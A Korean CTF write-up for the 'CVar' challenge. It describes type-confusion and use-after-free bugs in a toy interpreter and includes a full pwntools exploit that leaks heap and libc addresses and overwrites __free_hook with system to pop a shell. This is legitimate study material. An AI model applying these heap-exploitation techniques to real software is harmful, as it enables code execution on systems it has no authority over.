[RootCTF] CVar
CVar
문제 진짜 분석하기도 어렵고 풀기도 어렵고 진짜 이름값한다 최적화 한 문제도 아닌데 최적화 한 것 마냥 분석도 어렵고… 암튼 풀었으니 write-up을 써야겠다.
Mitigation
- Relro : Full Rerlo
- Stack : Canary
- NX : NX enable
- PIE : PIE enable
풀 미티게이션이 걸려있다. 사실 이게 큰 난관은 아니다. libc leak 할 때도 그렇고 뭐…
pie랑 relro가 꺼져있었다면 좀 더 쉬웠을지도 모르겠지만 미티게이션은 크게 상관 없을듯.
Analyzing
CTF때라면 취약점만 있는 부분 대충 찾으려 했겠지만 시간도 많이 있고,
타임어택식으로 문제 푸는 걸 싫어해서 전부 다 분석했다. 그래서 분석하는데 대충 6시간 넘게 걸린 것 같다.
Intro
- 배열, 정수(int)타입, string타입 이렇게 구현.
- int 타입 변수에 string 타입 변수를 넣어주면 type check하는 값을 안 바꿔줌.
- array 만들 때 next array를 가르키는 부분을 0으로 초기화 하지 않음 -> uaf로 주작 가능
대충 이 세 개만 알고 풀면 되는데 3번째 저 취약점 찾는게 은근 어려웠다. 결국 손퍼징으로 찾아냄 ㅎㅋㅋ
이 부분이 대충 int형 변수에다가 string변수 집어넣을 때 type 안 바꿔주는 곳이고.
이 부부분이 next array 초기화 안 해주는 부분인데 음 그렇다 분석하기 진짜 어려웠다.
Scenario
취약점 세 가지를 찾아낸 후에도 exploit 시나리오 생각하는데도 큰 시간을 쏟았다. 아직 부족함 천지인듯.
Heap leak
- var a = 1 같이 걍 int형 변수 선언
- var b = “” 같이 string형 변수 선언
- a = b로 값 넣어주면 b의 문자열 주솟값이 숫자 적히는 곳에 적힘
- 근데 a변수의 type은 int형 그대로 남아있어서 주솟값이 leak됨 (heap leak)
Libc leak
- string을 겁나 크게 만들어주면서 Fake array를 생성함
- string free하고 unsorted bin 보냄
- 다시 array 생성하면 fake array를 따라가면서 libc leak
Exploit
- 다 leak했으면 이전에 free된 힙들 다 할당해서 공간 메꿔줌
- 다시 string변수로 Fake array 생성
- free하지 않고 다른 string들 더 생성
- fake array쪽에서 oob? 같은 느낌으로 다른 청크들 덮을 수 있음
- string들의 len을 덮어서 aaw 만들고 free hook -> system
- /bin/sh이라는 이름의 변수 지워주면 shell
시나리오는 대충 이런 느낌이었던 것 같다.
solve.py
from pwn import *
e = ELF('./CVar')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process(e.path)
sla = p.sendlineafter
sa = p.sendafter
num_type = 0x440
str_type = 0x4a0
arr_element_type = 0x650
fake = 0x740
name = 0x5d0
str_fake = 0x780
lib = 0x710
delete = lambda name:sla('> ', 'delete ' + name)
view = lambda name:sla('> ', name)
assign = lambda name1, name2:sla('> ', '{0}={1}'.format(name1, name2))
def new_var(name, val, mode):
if mode == 'str':
sla('> ', 'var {0}="{1}"'.format(name, val))
elif mode == 'num':
sla('> ', 'var {0}={1}'.format(name, val))
elif mode == 'array':
sla('> ', 'var {0}=new array{1}'.format(name, val))
def array_assign(name, dimen, val, mode):
if mode == 'num':
sla('> ', '{0}{1}={2}'.format(name,dimen,val))
elif mode == 'str':
sla('> ', '{0}{1}="{2}"'.format(name, dimen, val))
new_var('/bin/sh', 1234, 'num')
new_var('b', 'ipwnipwnipwn', 'str')
assign('/bin/sh', 'b')
view('/bin/sh')
p.recvuntil('/bin/sh[')
heap_base = int(p.recvuntil(']')[:-1]) - 0x590
log.info('heap : 0x%x'%heap_base)
num_type += heap_base
str_type += heap_base
arr_element_type += heap_base
fake += heap_base
name += heap_base
str_fake += heap_base
lib += heap_base
fake_arr = ''.ljust(0x70, '\x00')
fake_arr += p64(fake)
fake_arr = fake_arr.ljust(0x130, '\x00')
fake_arr += p64(arr_element_type) + p64(0x1) + p64(0) + p64(str_fake)
fake_arr = fake_arr.ljust(0x170, '\x00')
fake_arr += p64(str_type) + p64(name) + p64(lib) + p64(8)
fake_arr = fake_arr.ljust(0x200, '\x00')
new_var('c', fake_arr, 'str')
delete('c')
new_var('d', '[1][4]', 'array')
view('d')
p.recvuntil('d[')
libc_base = u64(p.recv(6) + '\x00\x00') - 0x3c4b78
system = libc_base + libc.sym['system']
target = libc_base + 0x3c67a8
log.info('libc_base : 0x%x'%libc_base)
for i in range(8):
view('/bin/sh')
fake_arr = p64(arr_element_type) + p64(0x10009) + p64(0)
new_var('e', fake_arr, 'str')
fake = 0x8d0 + heap_base
new_var('f', 'ipwn', 'str')
new_var('g', 'ipwn', 'str')
new_var('h', '\x00'*0x70 + p64(fake) + '\x00'*0x188, 'str')
delete('h')
new_var('i', '[1][4]', 'array')
array_assign('i', '[0][0][6]', 'ipwn', 'str')
pay = p64(heap_base + 0x650) + p64(0x10009)
pay += p64(0)*3 + p64(0x31)
pay += p64(heap_base + 0x890) + p64(heap_base + 0x8b0)
pay += p64(target) + p64(0xffff)
assign('e', '"' + pay + '"')
assign('e', '"' + p64(system) + '"')
delete('/bin/sh')
p.interactive()
후기
풀면서 진짜 화나면서 재밌게 …ㅎㅎ…. 풀었다 이제 조금이나마 분석 실력이 늘지 않을까 ?? ㅎㅎ 딱히 힙트릭이 있던 것도 아니고 걍 분석 잘 해서 힙 어떻게 되는지만 잘 알아내면 되는 문제였다! 그런 걸 생각해보면 꽤나 오래 잡은 문제인듯
바이너리는 허락 맡고 업로드합니다 ㅎㅎ
CVar